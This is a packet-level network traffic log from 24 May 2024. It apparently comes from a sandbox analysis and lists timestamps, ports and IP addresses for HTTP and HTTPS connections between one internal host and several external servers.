May 24, 2024 13:42:04.756201982 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.756212950 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.756252050 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.756330013 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.756341934 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.756376982 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.756545067 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.756556988 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.756565094 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.756593943 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.756608963 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.756973982 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.756984949 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.757021904 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.757947922 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.757958889 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.758054972 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.758975029 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.758986950 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.759030104 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.759718895 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.759730101 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.759738922 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.759769917 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.759783983 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.760495901 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.760508060 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.760557890 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.761354923 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.761367083 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.761404991 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.762057066 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.762068987 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.762078047 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.762105942 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.762120008 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.762811899 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.762825012 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.762854099 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.763670921 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.763683081 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.763719082 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.764509916 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.764523029 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.764532089 CEST	80	49749	87.240.132.72	192.168.2.4
May 24, 2024 13:42:04.764544010 CEST	80	49749	87.240.132.72	192.168.2.4
May 24, 2024 13:42:04.764563084 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.764584064 CEST	49749	80	192.168.2.4	87.240.132.72
May 24, 2024 13:42:04.764805079 CEST	49749	80	192.168.2.4	87.240.132.72
May 24, 2024 13:42:04.765228987 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.765240908 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.765250921 CEST	80	49748	87.240.132.72	192.168.2.4
May 24, 2024 13:42:04.765260935 CEST	80	49748	87.240.132.72	192.168.2.4
May 24, 2024 13:42:04.765259981 CEST	49756	80	192.168.2.4	87.240.132.72
May 24, 2024 13:42:04.765281916 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.765307903 CEST	49748	80	192.168.2.4	87.240.132.72
May 24, 2024 13:42:04.766019106 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.766031981 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.766066074 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.766083956 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.766782045 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.766794920 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.766820908 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.766846895 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.767510891 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.767523050 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.767533064 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.767554998 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.767580032 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.768275976 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.768287897 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.768296957 CEST	80	49748	87.240.132.72	192.168.2.4
May 24, 2024 13:42:04.768306017 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.768320084 CEST	80	49749	87.240.132.72	192.168.2.4
May 24, 2024 13:42:04.768325090 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.768327951 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.768337011 CEST	49748	80	192.168.2.4	87.240.132.72
May 24, 2024 13:42:04.768362999 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.768364906 CEST	49749	80	192.168.2.4	87.240.132.72
May 24, 2024 13:42:04.769017935 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.769030094 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.769037962 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.769071102 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.769084930 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.769737959 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.769748926 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.769793034 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.769804001 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.770456076 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.770467997 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.770512104 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.771126032 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.771137953 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.771147013 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.771168947 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.771187067 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.771812916 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.771825075 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.771836042 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.771852016 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.771864891 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.772794008 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.772805929 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.772815943 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.772826910 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.772838116 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.772852898 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.772878885 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.773763895 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.773804903 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.774070024 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.774081945 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.774091005 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.774111986 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.774138927 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.775032997 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.775047064 CEST	80	49752	146.70.56.165	192.168.2.4
May 24, 2024 13:42:04.775054932 CEST	80	49752	146.70.56.165	192.168.2.4
May 24, 2024 13:42:04.775063992 CEST	80	49750	176.111.174.109	192.168.2.4
May 24, 2024 13:42:04.775072098 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.775074959 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.775089979 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.775099993 CEST	49752	80	192.168.2.4	146.70.56.165
May 24, 2024 13:42:04.775135040 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.775134087 CEST	49750	80	192.168.2.4	176.111.174.109
May 24, 2024 13:42:04.775146961 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.775163889 CEST	49750	80	192.168.2.4	176.111.174.109
May 24, 2024 13:42:04.775978088 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.775990963 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.776021004 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.776024103 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.776036978 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.776046038 CEST	80	49752	146.70.56.165	192.168.2.4
May 24, 2024 13:42:04.776050091 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.776056051 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.776062012 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.776077032 CEST	49752	80	192.168.2.4	146.70.56.165
May 24, 2024 13:42:04.776087046 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.776117086 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.776901007 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.776913881 CEST	80	49746	103.146.158.221	192.168.2.4
May 24, 2024 13:42:04.776923895 CEST	80	49746	103.146.158.221	192.168.2.4
May 24, 2024 13:42:04.776959896 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.777084112 CEST	49746	80	192.168.2.4	103.146.158.221
May 24, 2024 13:42:04.777084112 CEST	49746	80	192.168.2.4	103.146.158.221
May 24, 2024 13:42:04.777821064 CEST	80	49746	103.146.158.221	192.168.2.4
May 24, 2024 13:42:04.777833939 CEST	80	49746	103.146.158.221	192.168.2.4
May 24, 2024 13:42:04.777842999 CEST	80	49746	103.146.158.221	192.168.2.4
May 24, 2024 13:42:04.777899027 CEST	49746	80	192.168.2.4	103.146.158.221
May 24, 2024 13:42:04.777928114 CEST	49746	80	192.168.2.4	103.146.158.221
May 24, 2024 13:42:04.778738976 CEST	80	49746	103.146.158.221	192.168.2.4
May 24, 2024 13:42:04.778752089 CEST	80	49746	103.146.158.221	192.168.2.4
May 24, 2024 13:42:04.778760910 CEST	80	49746	103.146.158.221	192.168.2.4
May 24, 2024 13:42:04.778770924 CEST	80	49746	103.146.158.221	192.168.2.4
May 24, 2024 13:42:04.778793097 CEST	49746	80	192.168.2.4	103.146.158.221
May 24, 2024 13:42:04.778832912 CEST	49746	80	192.168.2.4	103.146.158.221
May 24, 2024 13:42:04.779659033 CEST	80	49746	103.146.158.221	192.168.2.4
May 24, 2024 13:42:04.779670000 CEST	80	49746	103.146.158.221	192.168.2.4
May 24, 2024 13:42:04.779719114 CEST	49746	80	192.168.2.4	103.146.158.221
May 24, 2024 13:42:04.780673027 CEST	49748	80	192.168.2.4	87.240.132.72
May 24, 2024 13:42:04.780980110 CEST	49757	80	192.168.2.4	87.240.132.72
May 24, 2024 13:42:04.781269073 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.781280994 CEST	80	49746	103.146.158.221	192.168.2.4
May 24, 2024 13:42:04.781289101 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.781300068 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.781339884 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.781352043 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.781363964 CEST	49746	80	192.168.2.4	103.146.158.221
May 24, 2024 13:42:04.781388044 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.782037020 CEST	49752	80	192.168.2.4	146.70.56.165
May 24, 2024 13:42:04.782066107 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.782078028 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.782087088 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.782116890 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.782145977 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.782284021 CEST	49758	80	192.168.2.4	146.70.56.165
May 24, 2024 13:42:04.782850981 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.782861948 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.782871008 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.782917023 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.782943964 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.783632040 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.783643007 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.783653021 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.783663988 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.783708096 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.783730984 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.786583900 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.786595106 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.786604881 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.786623955 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.786633968 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.786644936 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.786648035 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.786655903 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.786669016 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.786698103 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.786705971 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.786986113 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.786998034 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.787005901 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.787043095 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.787065983 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.787259102 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.787271023 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.787280083 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.787317991 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.787343979 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.788288116 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.788300037 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.788309097 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.788319111 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.788331032 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.788348913 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.788377047 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.789314032 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.789325953 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.789336920 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.789349079 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.789371014 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.789386988 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.790174007 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.790186882 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.790195942 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.790208101 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.790215015 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.790218115 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.790227890 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.790256977 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.791368961 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.791380882 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.791390896 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.791402102 CEST	80	49753	45.130.41.108	192.168.2.4
May 24, 2024 13:42:04.791410923 CEST	80	49753	45.130.41.108	192.168.2.4
May 24, 2024 13:42:04.791415930 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.791418076 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.791446924 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.791479111 CEST	49753	80	192.168.2.4	45.130.41.108
May 24, 2024 13:42:04.791480064 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.791728973 CEST	49753	80	192.168.2.4	45.130.41.108
May 24, 2024 13:42:04.792021036 CEST	49759	80	192.168.2.4	45.130.41.108
May 24, 2024 13:42:04.792059898 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.792072058 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.792081118 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.792093039 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.792108059 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.792126894 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.792126894 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.792889118 CEST	443	49755	188.114.96.3	192.168.2.4
May 24, 2024 13:42:04.792948961 CEST	49755	443	192.168.2.4	188.114.96.3
May 24, 2024 13:42:04.793203115 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.793215990 CEST	80	49749	87.240.132.72	192.168.2.4
May 24, 2024 13:42:04.793225050 CEST	80	49756	87.240.132.72	192.168.2.4
May 24, 2024 13:42:04.793230057 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.793240070 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.793250084 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.793251991 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.793262005 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.793298006 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.793307066 CEST	49756	80	192.168.2.4	87.240.132.72
May 24, 2024 13:42:04.793325901 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.793638945 CEST	49756	80	192.168.2.4	87.240.132.72
May 24, 2024 13:42:04.793863058 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.793874979 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.793885946 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.793896914 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.793917894 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.793922901 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.793936968 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.794763088 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.794775963 CEST	80	49734	147.45.47.149	192.168.2.4
May 24, 2024 13:42:04.794783115 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.794821978 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.794823885 CEST	49734	80	192.168.2.4	147.45.47.149
May 24, 2024 13:42:04.794856071 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.795909882 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.795922995 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.795938969 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.795949936 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.795958996 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.795959949 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.795965910 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.795991898 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.796004057 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.798897028 CEST	49734	80	192.168.2.4	147.45.47.149
May 24, 2024 13:42:04.799396038 CEST	49760	54674	192.168.2.4	147.45.47.149
May 24, 2024 13:42:04.799832106 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.799843073 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.799851894 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.799861908 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.799871922 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.799882889 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.799886942 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.799892902 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.799906015 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.799916029 CEST	80	49737	91.202.233.232	192.168.2.4
May 24, 2024 13:42:04.799926043 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.799931049 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.799937010 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.799946070 CEST	49737	80	192.168.2.4	91.202.233.232
May 24, 2024 13:42:04.799962044 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.800287008 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.800302029 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.800312996 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.800357103 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.800357103 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.800385952 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.801024914 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.801037073 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.801045895 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.801058054 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.801085949 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.801107883 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.801224947 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.801237106 CEST	49755	443	192.168.2.4	188.114.96.3
May 24, 2024 13:42:04.801259041 CEST	443	49755	188.114.96.3	192.168.2.4
May 24, 2024 13:42:04.801781893 CEST	443	49755	188.114.96.3	192.168.2.4
May 24, 2024 13:42:04.801820040 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.801831961 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.801842928 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.801842928 CEST	49755	443	192.168.2.4	188.114.96.3
May 24, 2024 13:42:04.801857948 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.801892042 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.801892042 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.802192926 CEST	49755	443	192.168.2.4	188.114.96.3
May 24, 2024 13:42:04.802573919 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.802586079 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.802596092 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.802623987 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.802649021 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.802649021 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.803342104 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.803354025 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.803363085 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.803374052 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.803383112 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.803391933 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.803412914 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.804362059 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.804373026 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.804383039 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.804394960 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.804413080 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.804442883 CEST	49733	80	192.168.2.4	5.42.66.10
May 24, 2024 13:42:04.805350065 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.805361986 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.805370092 CEST	80	49733	5.42.66.10	192.168.2.4
May 24, 2024 13:42:04.805382013 CEST	80	49733	5.42.66.10	192.168.2.4
